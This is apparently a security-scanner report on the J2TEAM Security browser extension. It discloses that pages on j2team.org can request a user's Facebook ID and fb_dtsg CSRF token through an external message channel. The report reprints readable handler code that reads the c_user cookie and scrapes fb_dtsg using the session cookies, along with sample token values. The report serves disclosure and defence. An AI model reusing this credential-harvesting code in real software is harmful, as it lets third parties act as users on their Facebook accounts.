Is J2TEAM Security safe?
J2TEAM Security is high risk. Any page on j2team.org can ask J2TEAM Security for your Facebook user ID and CSRF token (fb_dtsg), letting it act as you on Facebook: posting, reading messages, no password needed. The extension returned this structure to our test.
Who publishes itJUNO_OKYO - 1 other listing from the same operator, none carrying a finding
JUNO_OKYO - 1 other listing from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 10k+ users between them, none of them carrying a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Facebook UID and CSRF Token Returned to j2team.org via External Message Channel
Any page on j2team.org can ask J2TEAM Security for your Facebook user ID and CSRF token (fb_dtsg), letting it act as you on Facebook: posting, reading messages, no password needed.
The extension returned this structure to our test.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
A page on j2team.org sends a message to J2TEAM Security with cmd='fbinit'.
No additional parameters required. The handler responds unconditionally to any message with this command from the allowed origins.
The extension reads your Facebook user ID from the c_user cookie and your CSRF token from Facebook, then returns both to the calling page.
With the UID and fb_dtsg token, the caller can make authenticated Facebook GraphQL API calls on your behalf.
- Your Facebook user ID100072391840417
The permanent numeric ID of your Facebook account. Uniquely identifies you across all Facebook services.
- Your Facebook CSRF token (fb_dtsg)AQHkz9VxP2rY:AQE4mV3TwNzq
A short-lived token Facebook requires to authorise account actions. Any page holding it can make API requests as you.
Extension fetches this Facebook page with the user's session cookies to extract the fb_dtsg CSRF token from the HTML. Token is then cached in chrome.storage.local for 15 minutes and returned to the calling j2team.org page.
- credentials
- include
The fbinit and web_auth handlers from background.js (minified) and their readable equivalents.
fbinit handler (readable)
// Responds to external cmd='fbinit' messages from j2team.org pages.// Returns the user's Facebook UID and CSRF token to the caller.case 'fbinit': const uid = await getFacebookUID(); if (!uid) { sendResponse({ uid: null, token: null }); return; } const csrfToken = await getFacebookCSRFToken(); sendResponse({ uid: uid, token: csrfToken || null }); break;web_auth handler (readable)
// Responds to external cmd='web_auth' messages from j2team.org pages.// Returns only the Facebook UID.case 'web_auth': const uid = await getFacebookUID(); sendResponse({ uid: uid || null }); break;getFacebookUID() — reads c_user cookie (readable)
// Reads the Facebook 'c_user' cookie, which contains the numeric user ID.// Returns null if the user is not logged in to Facebook.async function getFacebookUID() { const cookie = await chrome.cookies.get({ url: 'https://www.facebook.com', name: 'c_user' }); return cookie ? cookie.value : null;}getFacebookCSRFToken() — fetches fb_dtsg (readable)
// Fetches the Facebook fb_dtsg CSRF token.// First checks a 15-minute cache in chrome.storage.local.// If not cached: fetches a Facebook help page with the user's session cookies,// parses the fb_dtsg value from the HTML, caches it, and returns it.async function getFacebookCSRFToken() { const uid = await getFacebookUID(); if (!uid) return null; const cached = await Cache.get(`fb_dtsg_${uid}`); if (cached) return cached; try { const html = await fetch( 'https://www.facebook.com/help/contact/1417759018475333?helpref=faq_content&refid=69', { credentials: 'include' } // sends the user's Facebook session cookies ).then(r => r.text()); if (html.includes('fast_switch_site')) { // Mobile redirect path — follow and retry const match = /"(https:\/\/m\.facebook\.com\/a\/preferences\.php\?fast_switch_site[a-zA-Z0-9&=\-_%.;]+)"/.exec(html); if (!match) return null; await fetch(match[1], { credentials: 'include' }).then(r => r.text()); return getFacebookCSRFToken(); } else { // Parse fb_dtsg from the HTML const token = html.split('name="fb_dtsg" value="')[1]?.split('" ')[0]; if (!token) return null; await Cache.set(`fb_dtsg_${uid}`, token, 15); // cache for 15 minutes return token; } } catch (err) { console.error(err.message); return null; }}- j2team.org
Primary J2TEAM website. Any page served from this domain can request the UID and CSRF token via the fbinit command.
- www.j2team.org
www subdomain of J2TEAM website, also listed in externally_connectable.
- j2team.dev
J2TEAM developer subdomain, also listed in externally_connectable.